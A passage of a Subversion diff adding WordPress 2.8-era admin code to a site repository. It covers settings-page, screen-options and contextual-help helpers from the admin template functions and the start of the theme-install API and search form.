+					continue;
+				// Submit box cannot be hidden
+				if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] )
+					continue;
+				$box_id = $box['id'];
+				echo '<label for="' . $box_id . '-hide">';
+				echo '<input class="hide-postbox-tog" name="' . $box_id . '-hide" type="checkbox" id="' . $box_id . '-hide" value="' . $box_id . '"' . (! in_array($box_id, $hidden) ? ' checked="checked"' : '') . ' />';
+				echo "{$box['title']}</label>\n";
+			}
+		}
+	}
+}
+
+function get_hidden_meta_boxes($page) {
+	$hidden = (array) get_user_option( "meta-box-hidden_$page", 0, false );
+
+	// Hide slug boxes by default
+	if ( empty($hidden[0]) ) {
+		if ( 'page' == $page )
+			$hidden = array('pageslugdiv');
+		elseif ( 'post' == $page )
+			$hidden = array('slugdiv');
+	}
+
+	return $hidden;
+}
+
+/**
+ * Add a new section to a settings page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $id String for use in the 'id' attribute of tags.
+ * @param string $title Title of the section.
+ * @param string $callback Function that fills the section with the desired content. The function should echo its output.
+ * @param string $page The type of settings page on which to show the section (general, reading, writing, ...).
+ */
+function add_settings_section($id, $title, $callback, $page) {
+	global $wp_settings_sections;
+
+	if ( !isset($wp_settings_sections) )
+		$wp_settings_sections = array();
+	if ( !isset($wp_settings_sections[$page]) )
+		$wp_settings_sections[$page] = array();
+	if ( !isset($wp_settings_sections[$page][$id]) )
+		$wp_settings_sections[$page][$id] = array();
+
+	$wp_settings_sections[$page][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback);
+}
+
+/**
+ * Add a new field to a settings page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $id String for use in the 'id' attribute of tags.
+ * @param string $title Title of the field.
+ * @param string $callback Function that fills the field with the desired content. The function should echo its output.
+ * @param string $page The type of settings page on which to show the field (general, reading, writing, ...).
+ * @param string $section The section of the settingss page in which to show the box (default, ...).
+ * @param array $args Additional arguments
+ */
+function add_settings_field($id, $title, $callback, $page, $section = 'default', $args = array()) {
+	global $wp_settings_fields;
+
+	if ( !isset($wp_settings_fields) )
+		$wp_settings_fields = array();
+	if ( !isset($wp_settings_fields[$page]) )
+		$wp_settings_fields[$page] = array();
+	if ( !isset($wp_settings_fields[$page][$section]) )
+		$wp_settings_fields[$page][$section] = array();
+
+	$wp_settings_fields[$page][$section][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $args);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ */
+function do_settings_sections($page) {
+	global $wp_settings_sections, $wp_settings_fields;
+
+	if ( !isset($wp_settings_sections) || !isset($wp_settings_sections[$page]) )
+		return;
+
+	foreach ( (array) $wp_settings_sections[$page] as $section ) {
+		echo "<h3>{$section['title']}</h3>\n";
+		call_user_func($section['callback'], $section);
+		if ( !isset($wp_settings_fields) || !isset($wp_settings_fields[$page]) || !isset($wp_settings_fields[$page][$section['id']]) )
+			continue;
+		echo '<table class="form-table">';
+		do_settings_fields($page, $section['id']);
+		echo '</table>';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ * @param unknown_type $section
+ */
+function do_settings_fields($page, $section) {
+	global $wp_settings_fields;
+
+	if ( !isset($wp_settings_fields) || !isset($wp_settings_fields[$page]) || !isset($wp_settings_fields[$page][$section]) )
+		return;
+
+	foreach ( (array) $wp_settings_fields[$page][$section] as $field ) {
+		echo '<tr valign="top">';
+		if ( !empty($field['args']['label_for']) )
+			echo '<th scope="row"><label for="' . $field['args']['label_for'] . '">' . $field['title'] . '</label></th>';
+		else
+			echo '<th scope="row">' . $field['title'] . '</th>';
+		echo '<td>';
+		call_user_func($field['callback']);
+		echo '</td>';
+		echo '</tr>';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ */
+function manage_columns_prefs($page) {
+	$columns = get_column_headers($page);
+
+	$hidden = get_hidden_columns($page);
+
+	foreach ( $columns as $column => $title ) {
+		// Can't hide these
+		if ( 'cb' == $column || 'title' == $column || 'name' == $column || 'username' == $column || 'media' == $column || 'comment' == $column )
+			continue;
+		if ( empty($title) )
+			continue;
+
+		if ( 'comments' == $column )
+			$title = __('Comments');
+		$id = "$column-hide";
+		echo '<label for="' . $id . '">';
+		echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . (! in_array($column, $hidden) ? ' checked="checked"' : '') . ' />';
+		echo "$title</label>\n";
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $found_action
+ */
+function find_posts_div($found_action = '') {
+?>
+	<div id="find-posts" class="find-box" style="display:none;">
+		<div id="find-posts-head" class="find-box-head"><?php _e('Find Posts or Pages'); ?></div>
+		<div class="find-box-inside">
+			<div class="find-box-search">
+				<?php if ( $found_action ) { ?>
+					<input type="hidden" name="found_action" value="<?php echo esc_attr($found_action); ?>" />
+				<?php } ?>
+
+				<input type="hidden" name="affected" id="affected" value="" />
+				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
+				<label class="screen-reader-text" for="find-posts-input"><?php _e( 'Search' ); ?></label>
+				<input type="text" id="find-posts-input" name="ps" value="" />
+				<input type="button" onclick="findPosts.send();" value="<?php esc_attr_e( 'Search' ); ?>" class="button" /><br />
+
+				<input type="radio" name="find-posts-what" id="find-posts-posts" checked="checked" value="posts" />
+				<label for="find-posts-posts"><?php _e( 'Posts' ); ?></label>
+				<input type="radio" name="find-posts-what" id="find-posts-pages" value="pages" />
+				<label for="find-posts-pages"><?php _e( 'Pages' ); ?></label>
+			</div>
+			<div id="find-posts-response"></div>
+		</div>
+		<div class="find-box-buttons">
+			<input type="button" class="button alignleft" onclick="findPosts.close();" value="<?php esc_attr_e('Close'); ?>" />
+			<input id="find-posts-submit" type="submit" class="button-primary alignright" value="<?php esc_attr_e('Select'); ?>" />
+		</div>
+	</div>
+<?php
+}
+
+/**
+ * Display the post password.
+ *
+ * The password is passed through {@link esc_attr()} to ensure that it
+ * is safe for placing in an html attribute.
+ *
+ * @uses attr
+ * @since 2.7.0
+ */
+function the_post_password() {
+	global $post;
+	if ( isset( $post->post_password ) ) echo esc_attr( $post->post_password );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function favorite_actions( $screen = null ) {
+	switch ( $screen ) {
+		case 'post-new.php':
+			$default_action = array('edit.php' => array(__('Edit Posts'), 'edit_posts'));
+			break;
+		case 'edit-pages.php':
+			$default_action = array('page-new.php' => array(__('New Page'), 'edit_pages'));
+			break;
+		case 'page-new.php':
+			$default_action = array('edit-pages.php' => array(__('Edit Pages'), 'edit_pages'));
+			break;
+		case 'upload.php':
+			$default_action = array('media-new.php' => array(__('New Media'), 'upload_files'));
+			break;
+		case 'media-new.php':
+			$default_action = array('upload.php' => array(__('Edit Media'), 'upload_files'));
+			break;
+		case 'link-manager.php':
+			$default_action = array('link-add.php' => array(__('New Link'), 'manage_links'));
+			break;
+		case 'link-add.php':
+			$default_action = array('link-manager.php' => array(__('Edit Links'), 'manage_links'));
+			break;
+		case 'users.php':
+			$default_action = array('user-new.php' => array(__('New User'), 'create_users'));
+			break;
+		case 'user-new.php':
+			$default_action = array('users.php' => array(__('Edit Users'), 'edit_users'));
+			break;
+		case 'plugins.php':
+			$default_action = array('plugin-install.php' => array(__('Install Plugins'), 'install_plugins'));
+			break;
+		case 'plugin-install.php':
+			$default_action = array('plugins.php' => array(__('Manage Plugins'), 'activate_plugins'));
+			break;
+		case 'themes.php':
+			$default_action = array('theme-install.php' => array(__('Install Themes'), 'install_themes'));
+			break;
+		case 'theme-install.php':
+			$default_action = array('themes.php' => array(__('Manage Themes'), 'switch_themes'));
+			break;
+		default:
+			$default_action = array('post-new.php' => array(__('New Post'), 'edit_posts'));
+			break;
+	}
+
+	$actions = array(
+		'post-new.php' => array(__('New Post'), 'edit_posts'),
+		'edit.php?post_status=draft' => array(__('Drafts'), 'edit_posts'),
+		'page-new.php' => array(__('New Page'), 'edit_pages'),
+		'media-new.php' => array(__('Upload'), 'upload_files'),
+		'edit-comments.php' => array(__('Comments'), 'moderate_comments')
+		);
+
+	$default_key = array_keys($default_action);
+	$default_key = $default_key[0];
+	if ( isset($actions[$default_key]) )
+		unset($actions[$default_key]);
+	$actions = array_merge($default_action, $actions);
+	$actions = apply_filters('favorite_actions', $actions);
+
+	$allowed_actions = array();
+	foreach ( $actions as $action => $data ) {
+		if ( current_user_can($data[1]) )
+			$allowed_actions[$action] = $data[0];
+	}
+
+	if ( empty($allowed_actions) )
+		return;
+
+	$first = array_keys($allowed_actions);
+	$first = $first[0];
+	echo '<div id="favorite-actions">';
+	echo '<div id="favorite-first"><a href="' . $first . '">' . $allowed_actions[$first] . '</a></div><div id="favorite-toggle"><br /></div>';
+	echo '<div id="favorite-inside">';
+
+	array_shift($allowed_actions);
+
+	foreach ( $allowed_actions as $action => $label) {
+		echo "<div class='favorite-action'><a href='$action'>";
+		echo $label;
+		echo "</a></div>\n";
+	}
+	echo "</div></div>\n";
+}
+
+/**
+ * Get the post title.
+ *
+ * The post title is fetched and if it is blank then a default string is
+ * returned.
+ *
+ * @since 2.7.0
+ * @param int $id The post id. If not supplied the global $post is used.
+ *
+ */
+function _draft_or_post_title($post_id = 0)
+{
+	$title = get_the_title($post_id);
+	if ( empty($title) )
+		$title = __('(no title)');
+	return $title;
+}
+
+/**
+ * Display the search query.
+ *
+ * A simple wrapper to display the "s" parameter in a GET URI. This function
+ * should only be used when {@link the_search_query()} cannot.
+ *
+ * @uses attr
+ * @since 2.7.0
+ *
+ */
+function _admin_search_query() {
+	echo isset($_GET['s']) ? esc_attr( stripslashes( $_GET['s'] ) ) : '';
+}
+
+/**
+ * Generic Iframe header for use with Thickbox
+ *
+ * @since 2.7.0
+ * @param string $title Title of the Iframe page.
+ * @param bool $limit_styles Limit styles to colour-related styles only (unless others are enqueued).
+ *
+ */
+function iframe_header( $title = '', $limit_styles = false ) {
+?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php do_action('admin_xml_ns'); ?> <?php language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<title><?php bloginfo('name') ?> &rsaquo; <?php echo $title ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+wp_enqueue_style( 'global' );
+if ( ! $limit_styles )
+	wp_enqueue_style( 'wp-admin' );
+wp_enqueue_style( 'colors' );
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
+//]]>
+</script>
+<?php
+do_action('admin_print_styles');
+do_action('admin_print_scripts');
+do_action('admin_head');
+?>
+</head>
+<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?>>
+<?php
+}
+
+/**
+ * Generic Iframe footer for use with Thickbox
+ *
+ * @since 2.7.0
+ *
+ */
+function iframe_footer() {
+	//We're going to hide any footer output on iframe pages, but run the hooks anyway since they output Javascript or other needed content. ?>
+	<div class="hidden">
+<?php
+	do_action('admin_footer', '');
+	do_action('admin_print_footer_scripts'); ?>
+	</div>
+<script type="text/javascript">if(typeof wpOnload=="function")wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+function _post_states($post) {
+	$post_states = array();
+	if ( isset($_GET['post_status']) )
+		$post_status = $_GET['post_status'];
+	else
+		$post_status = '';
+
+	if ( !empty($post->post_password) )
+		$post_states[] = __('Password protected');
+	if ( 'private' == $post->post_status && 'private' != $post_status )
+		$post_states[] = __('Private');
+	if ( 'draft' == $post->post_status && 'draft' != $post_status )
+		$post_states[] = __('Draft');
+	if ( 'pending' == $post->post_status && 'pending' != $post_status )
+		/* translators: post state */
+		$post_states[] = _x('Pending', 'post state');
+	if ( is_sticky($post->ID) )
+		$post_states[] = __('Sticky');
+
+	$post_states = apply_filters( 'display_post_states', $post_states );
+
+	if ( ! empty($post_states) ) {
+		$state_count = count($post_states);
+		$i = 0;
+		echo ' - ';
+		foreach ( $post_states as $state ) {
+			++$i;
+			( $i == $state_count ) ? $sep = '' : $sep = ', ';
+			echo "<span class='post-state'>$state$sep</span>";
+		}
+	}
+}
+
+function screen_meta($screen) {
+	global $wp_meta_boxes, $_wp_contextual_help;
+
+	$screen = str_replace('.php', '', $screen);
+	$screen = str_replace('-new', '', $screen);
+	$screen = str_replace('-add', '', $screen);
+	$screen = apply_filters('screen_meta_screen', $screen);
+
+	$column_screens = get_column_headers($screen);
+	$meta_screens = array('index' => 'dashboard');
+
+	if ( isset($meta_screens[$screen]) )
+		$screen = $meta_screens[$screen];
+	$show_screen = false;
+	$show_on_screen = false;
+	if ( !empty($wp_meta_boxes[$screen]) || !empty($column_screens) ) {
+		$show_screen = true;
+		$show_on_screen = true;
+	}
+
+	$screen_options = screen_options($screen);
+	if ( $screen_options )
+		$show_screen = true;
+
+	if ( !isset($_wp_contextual_help) )
+		$_wp_contextual_help = array();
+
+	$settings = '';
+
+	switch ( $screen ) {
+		case 'post':
+			if ( !isset($_wp_contextual_help['post']) ) {
+				$help = drag_drop_help();
+				$help .= '<p>' . __('<a href="http://codex.wordpress.org/Writing_Posts" target="_blank">Writing Posts</a>') . '</p>';
+				$_wp_contextual_help['post'] = $help;
+			}
+			break;
+		case 'page':
+			if ( !isset($_wp_contextual_help['page']) ) {
+				$help = drag_drop_help();
+				$_wp_contextual_help['page'] = $help;
+			}
+			break;
+		case 'dashboard':
+			if ( !isset($_wp_contextual_help['dashboard']) ) {
+				$help = '<p>' . __('The modules on this screen can be arranged in several columns. You can select the number of columns from the Screen Options tab.') . "</p>\n";
+				$help .= drag_drop_help();
+				$_wp_contextual_help['dashboard'] = $help;
+			}
+			break;
+		case 'link':
+			if ( !isset($_wp_contextual_help['link']) ) {
+				$help = drag_drop_help();
+				$_wp_contextual_help['link'] = $help;
+			}
+			break;
+		case 'options-general':
+			if ( !isset($_wp_contextual_help['options-general']) )
+				$_wp_contextual_help['options-general'] = __('<a href="http://codex.wordpress.org/Settings_General_SubPanel" target="_blank">General Settings</a>');
+			break;
+		case 'theme-install':
+		case 'plugin-install':
+			if ( ( !isset($_GET['tab']) || 'dashboard' == $_GET['tab'] ) && !isset($_wp_contextual_help[$screen]) ) {
+				$help = plugins_search_help();
+				$_wp_contextual_help[$screen] = $help;
+			}
+			break;
+		case 'widgets':
+			if ( !isset($_wp_contextual_help['widgets']) ) {
+				$help = widgets_help();
+				$_wp_contextual_help['widgets'] = $help;
+			}
+			$settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
+			$show_screen = true;
+			break;
+	}
+?>
+<div id="screen-meta">
+<?php
+	if ( $show_screen ) :
+?>
+<div id="screen-options-wrap" class="hidden">
+	<form id="adv-settings" action="" method="post">
+<?php if ( $show_on_screen ) : ?>
+	<h5><?php _e('Show on screen') ?></h5>
+	<div class="metabox-prefs">
+<?php
+	if ( !meta_box_prefs($screen) && isset($column_screens) ) {
+		manage_columns_prefs($screen);
+	}
+?>
+	<br class="clear" />
+	</div>
+<?php endif; ?>
+<?php echo screen_layout($screen); ?>
+<?php echo $screen_options; ?>
+<?php echo $settings; ?>
+<div><?php wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false ); ?></div>
+</form>
+</div>
+
+<?php
+	endif;
+
+	global $title;
+
+	$_wp_contextual_help = apply_filters('contextual_help_list', $_wp_contextual_help, $screen);
+	?>
+	<div id="contextual-help-wrap" class="hidden">
+	<?php
+	$contextual_help = '';
+	if ( isset($_wp_contextual_help[$screen]) ) {
+		if ( !empty($title) )
+			$contextual_help .= '<h5>' . sprintf(__('Get help with &#8220;%s&#8221;'), $title) . '</h5>';
+		else
+			$contextual_help .= '<h5>' . __('Get help with this page') . '</h5>';
+		$contextual_help .= '<div class="metabox-prefs">' . $_wp_contextual_help[$screen] . "</div>\n";
+
+		$contextual_help .= '<h5>' . __('Other Help') . '</h5>';
+	} else {
+		$contextual_help .= '<h5>' . __('Help') . '</h5>';
+	}
+
+	$contextual_help .= '<div class="metabox-prefs">';
+	$default_help = __('<a href="http://codex.wordpress.org/" target="_blank">Documentation</a>');
+	$default_help .= '<br />';
+	$default_help .= __('<a href="http://wordpress.org/support/" target="_blank">Support Forums</a>');
+	$contextual_help .= apply_filters('default_contextual_help', $default_help);
+	$contextual_help .= "</div>\n";
+	echo apply_filters('contextual_help', $contextual_help, $screen);
+	?>
+	</div>
+
+<div id="screen-meta-links">
+<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
+<a href="#contextual-help" id="contextual-help-link" class="show-settings"><?php _e('Help') ?></a>
+</div>
+<?php if ( $show_screen ) { ?>
+<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
+<a href="#screen-options" id="show-settings-link" class="show-settings"><?php _e('Screen Options') ?></a>
+</div>
+<?php } ?>
+</div>
+</div>
+<?php
+}
+
+/**
+ * Add contextual help text for a page
+ *
+ * @since 2.7.0
+ *
+ * @param string $screen The handle for the screen to add help to.  This is usually the hook name returned by the add_*_page() functions.
+ * @param string $help Arbitrary help text
+ */
+function add_contextual_help($screen, $help) {
+	global $_wp_contextual_help;
+
+	if ( !isset($_wp_contextual_help) )
+		$_wp_contextual_help = array();
+
+	$_wp_contextual_help[$screen] = $help;
+}
+
+function drag_drop_help() {
+	return '
+	<p>' .	__('Most of the modules on this screen can be moved. If you hover your mouse over the title bar of a module you&rsquo;ll notice the 4 arrow cursor appears to let you know it is movable. Click on it, hold down the mouse button and start dragging the module to a new location. As you drag the module, notice the dotted gray box that also moves. This box indicates where the module will be placed when you release the mouse button.') . '</p>
+	<p>' . __('The same modules can be expanded and collapsed by clicking once on their title bar and also completely hidden from the Screen Options tab.') . '</p>
+';
+}
+
+function plugins_search_help() {
+	return '
+	<p><strong>' . __('Search help') . '</strong></p>' .
+	'<p>' . __('You may search based on 3 criteria:') . '<br />' .
+	__('<strong>Term:</strong> Searches theme names and descriptions for the specified term.') . '<br />' .
+	__('<strong>Tag:</strong> Searches for themes tagged as such.') . '<br />' .
+	__('<strong>Author:</strong> Searches for themes created by the Author, or which the Author contributed to.') . '</p>
+';
+}
+
+function widgets_help() {
+	return '
+	<p>' . __('Widgets are added and arranged by simple drag &#8217;n&#8217; drop. If you hover your mouse over the titlebar of a widget, you&#8217;ll see a 4-arrow cursor which indicates that the widget is movable.  Click on the titlebar, hold down the mouse button and drag the widget to a sidebar. As you drag, you&#8217;ll see a dotted box that also moves. This box shows where the widget will go once you drop it.') . '</p>
+	<p>' . __('To remove a widget from a sidebar, drag it back to Available Widgets or click on the arrow on its titlebar to reveal its settings, and then click Remove.') . '</p>
+	<p>' . __('To remove a widget from a sidebar <em>and keep its configuration</em>, drag it to Inactive Widgets.') . '</p>
+	<p>' . __('The Inactive Widgets area stores widgets that are configured but not curently used. If you change themes and the new theme has fewer sidebars than the old, all extra widgets will be stored to Inactive Widgets automatically.') . '</p>
+';
+}
+
+function screen_layout($screen) {
+	global $screen_layout_columns;
+
+	$columns = array('dashboard' => 4, 'post' => 2, 'page' => 2, 'link' => 2);
+	$columns = apply_filters('screen_layout_columns', $columns, $screen);
+
+	if ( !isset($columns[$screen]) ) {
+		$screen_layout_columns = 0;
+		return '';
+ 	}
+
+	$screen_layout_columns = get_user_option("screen_layout_$screen");
+	$num = $columns[$screen];
+
+	if ( ! $screen_layout_columns )
+			$screen_layout_columns = 2;
+
+	$i = 1;
+	$return = '<h5>' . __('Screen Layout') . "</h5>\n<div class='columns-prefs'>" . __('Number of Columns:') . "\n";
+	while ( $i <= $num ) {
+		$return .= "<label><input type='radio' name='screen_columns' value='$i'" . ( ($screen_layout_columns == $i) ? " checked='checked'" : "" ) . " /> $i</label>\n";
+		++$i;
+	}
+	$return .= "</div>\n";
+	return $return;
+}
+
+function screen_options($screen) {
+	switch ( $screen ) {
+		case 'edit':
+			$per_page_label = __('Posts per page:');
+			break;
+		case 'edit-pages':
+			$per_page_label = __('Pages per page:');
+			break;
+		case 'edit-comments':
+			$per_page_label = __('Comments per page:');
+			break;
+		case 'upload':
+			$per_page_label = __('Media items per page:');
+			break;
+		case 'categories':
+			$per_page_label = __('Categories per page:');
+			break;
+		case 'edit-tags':
+			$per_page_label = __('Tags per page:');
+			break;
+		case 'plugins':
+			$per_page_label = __('Plugins per page:');
+			break;
+		default:
+			return '';
+	}
+
+	$option = str_replace('-', '_', "${screen}_per_page");
+	$per_page = get_user_option($option);
+	if ( empty($per_page) ) {
+		if ( 'plugins' == $screen )
+			$per_page = 999;
+		else
+			$per_page = 20;
+	}
+
+	$return = '<h5>' . __('Options') . "</h5>\n";
+	$return .= "<div class='screen-options'>\n";
+	if ( !empty($per_page_label) )
+		$return .= "<label for='$option'>$per_page_label</label> <input type='text' class='screen-per-page' name='wp_screen_options[value]' id='$option' maxlength='3' value='$per_page' />\n";
+	$return .= "<input type='submit' class='button' value='" . esc_attr__('Apply') . "' />";
+	$return .= "<input type='hidden' name='wp_screen_options[option]' value='" . esc_attr($option) . "' />";
+	$return .= "</div>\n";
+	return $return;
+}
+
+function screen_icon($name = '') {
+	global $parent_file, $hook_suffix;
+
+	if ( empty($name) ) {
+		if ( isset($parent_file) && !empty($parent_file) )
+			$name = substr($parent_file, 0, -4);
+		else
+			$name = str_replace(array('.php', '-new', '-add'), '', $hook_suffix);
+	}
+?>
+	<div id="icon-<?php echo $name; ?>" class="icon32"><br /></div>
+<?php
+}
+
+/**
+ * Test support for compressing JavaScript from PHP
+ *
+ * Outputs JavaScript that tests if compression from PHP works as expected
+ * and sets an option with the result. Has no effect when the current user
+ * is not an administrator. To run the test again the option 'can_compress_scripts'
+ * has to be deleted.
+ *
+ * @since 2.8.0
+ */
+function compression_test() {
+?>
+	<script type="text/javascript">
+	/* <![CDATA[ */
+	var testCompression = {
+		get : function(test) {
+			var x;
+			if ( window.XMLHttpRequest ) {
+				x = new XMLHttpRequest();
+			} else {
+				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
+			}
+
+			if (x) {
+				x.onreadystatechange = function() {
+					var r, h;
+					if ( x.readyState == 4 ) {
+						r = x.responseText.substr(0, 18);
+						h = x.getResponseHeader('Content-Encoding');
+						testCompression.check(r, h, test);
+					}
+				}
+
+				x.open('GET', 'admin-ajax.php?action=wp-compression-test&test='+test+'&'+(new Date()).getTime(), true);
+				x.send('');
+			}
+		},
+
+		check : function(r, h, test) {
+			if ( ! r && ! test )
+				this.get(1);
+
+			if ( 1 == test ) {
+				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
+					this.get('no');
+				else
+					this.get(2);
+
+				return;
+			}
+
+			if ( 2 == test ) {
+				if ( '"wpCompressionTest' == r )
+					this.get('yes');
+				else
+					this.get('no');
+			}
+		}
+	};
+	testCompression.check();
+	/* ]]> */
+	</script>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/theme-install.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/theme-install.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/theme-install.php	(revision 44)
@@ -0,0 +1,547 @@
+<?php
+/**
+ * WordPress Theme Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+$themes_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()),
+	'abbr' => array('title' => array()), 'acronym' => array('title' => array()),
+	'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+	'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+	'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+	'img' => array('src' => array(), 'class' => array(), 'alt' => array())
+);
+
+$theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true,
+	'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true,
+	'tags' => true, 'num_ratings' => true
+);
+
+
+/**
+ * Retrieve theme installer pages from WordPress Themes API.
+ *
+ * It is possible for a theme to override the Themes API result with three
+ * filters. Assume this is for themes, which can extend on the Theme Info to
+ * offer more choices. This is very powerful and must be used with care, when
+ * overridding the filters.
+ *
+ * The first filter, 'themes_api_args', is for the args and gives the action as
+ * the second parameter. The hook for 'themes_api_args' must ensure that an
+ * object is returned.
+ *
+ * The second filter, 'themes_api', is the result that would be returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string $action
+ * @param array|object $args Optional. Arguments to serialize for the Theme Info API.
+ * @return mixed
+ */
+function themes_api($action, $args = null) {
+
+	if ( is_array($args) )
+		$args = (object)$args;
+
+	if ( !isset($args->per_page) )
+		$args->per_page = 24;
+
+	$args = apply_filters('themes_api_args', $args, $action); //NOTE: Ensure that an object is returned via this filter.
+	$res = apply_filters('themes_api', false, $action, $args); //NOTE: Allows a theme to completely override the builtin WordPress.org API.
+
+	if ( ! $res ) {
+		$request = wp_remote_post('http://api.wordpress.org/themes/info/1.0/', array( 'body' => array('action' => $action, 'request' => serialize($args))) );
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error('themes_api_failed', __('An Unexpected HTTP Error occured during the API request.</p> <p><a href="?" onclick="document.location.reload(); return false;">Try again</a>'), $request->get_error_message() );
+		} else {
+			$res = unserialize($request['body']);
+			if ( ! $res )
+			$res = new WP_Error('themes_api_failed', __('An unknown error occured'), $request['body']);
+		}
+	}
+	//var_dump(array($args, $res));
+	return apply_filters('themes_api_result', $res, $action, $args);
+}
+
+/**
+ * Retrieve list of WordPress theme features (aka theme tags)
+ *
+ * @since 2.8.0
+ *
+ * @return array
+ */
+function install_themes_feature_list( ) {
+	if ( !$cache = get_transient( 'wporg_theme_feature_list' ) )
+		set_transient( 'wporg_theme_feature_list', array( ),  10800);
+
+	if ( $cache  )
+		return $cache;
+
+	$feature_list = themes_api( 'feature_list', array( ) );
+	if ( is_wp_error( $feature_list ) )
+		return $features;
+
+	set_transient( 'wporg_theme_feature_list', $feature_list, 10800 );
+
+	return $feature_list;
+}
+
+add_action('install_themes_search', 'install_theme_search', 10, 1);
+/**
+ * Display theme search results
+ *
+ * @since 2.8.0
+ *
+ * @param string $page
+ */
+function install_theme_search($page) {
+	global $theme_field_defaults;
+
+	$type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : '';
+
+	$args = array();
+
+	switch( $type ){
+		case 'tag':
+			$terms = explode(',', $term);
+			$terms = array_map('trim', $terms);
+			$terms = array_map('sanitize_title_with_dashes', $terms);
+			$args['tag'] = $terms;
+			break;
+		case 'term':
+			$args['search'] = $term;
+			break;
+		case 'author':
+			$args['author'] = $term;
+			break;
+	}
+
+	$args['page'] = $page;
+	$args['fields'] = $theme_field_defaults;
+
+	if ( !empty( $_POST['features'] ) ) {
+		$terms = $_POST['features'];
+		$terms = array_map( 'trim', $terms );
+		$terms = array_map( 'sanitize_title_with_dashes', $terms );
+		$args['tag'] = $terms;
+		$_REQUEST['s'] = implode( ',', $terms );
+		$_REQUEST['type'] = 'tag';
+	}
+
+	$api = themes_api('query_themes', $args);
+
+	if ( is_wp_error($api) )
+		wp_die($api);
+
+	add_action('install_themes_table_header', 'install_theme_search_form');
+
+	display_themes($api->themes, $api->info['page'], $api->info['pages']);
+}
+
+/**
+ * Display search form for searching themes.
+ *
+ * @since 2.8.0
+ */
+function install_theme_search_form() {
+	$type = isset( $_REQUEST['type'] ) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset( $_REQUEST['s'] ) ? stripslashes( $_REQUEST['s'] ) : '';
+	?>
+<p class="install-help"><?php _e('Search for themes by keyword, author, or tag.') ?></p>
+
+<form id="search-themes" method="post" action="<?php echo admin_url( 'theme-install.php?tab=search' ); ?>">
+	<select	name="type" id="typeselector">
+	<option value="term" <?php selected('term', $type) ?>><?php _e('Term'); ?></option>
+	<option value="author" <?php selected('author', $type) ?>><?php _e('Author'); ?></option>
+	<option value="tag" <?php selected('tag', $type) ?>><?php echo _x('Tag', 'Theme Installer'); ?></option>
+	</select>
+	<input type="text" name="s" size="30" value="<?php echo esc_attr($term) ?>" />
+	<input type="submit" name="search" value="<?php esc_attr_e('Search'); ?>" class="button" />
+</form>
+<?php
+}
+
+add_action('install_themes_dashboard', 'install_themes_dashboard');
+/**
+ * Display tags filter for themes.
+ *
+ * @since 2.8.0
+ */
+function install_themes_dashboard() {
+	install_theme_search_form();
+?>
+<h4><?php _e('Feature Filter') ?></h4>
+<form method="post" action="<?php echo admin_url( 'theme-install.php?tab=search' ); ?>">
+<p class="install-help"><?php _e('Find a theme based on specific features') ?></p>
+	<?php
+	$feature_list = install_themes_feature_list( );
+	echo '<div class="feature-filter">';
+	$trans = array ('Colors' => __('Colors'), 'black' => __('Black'), 'blue' => __('Blue'), 'brown' => __('Brown'),
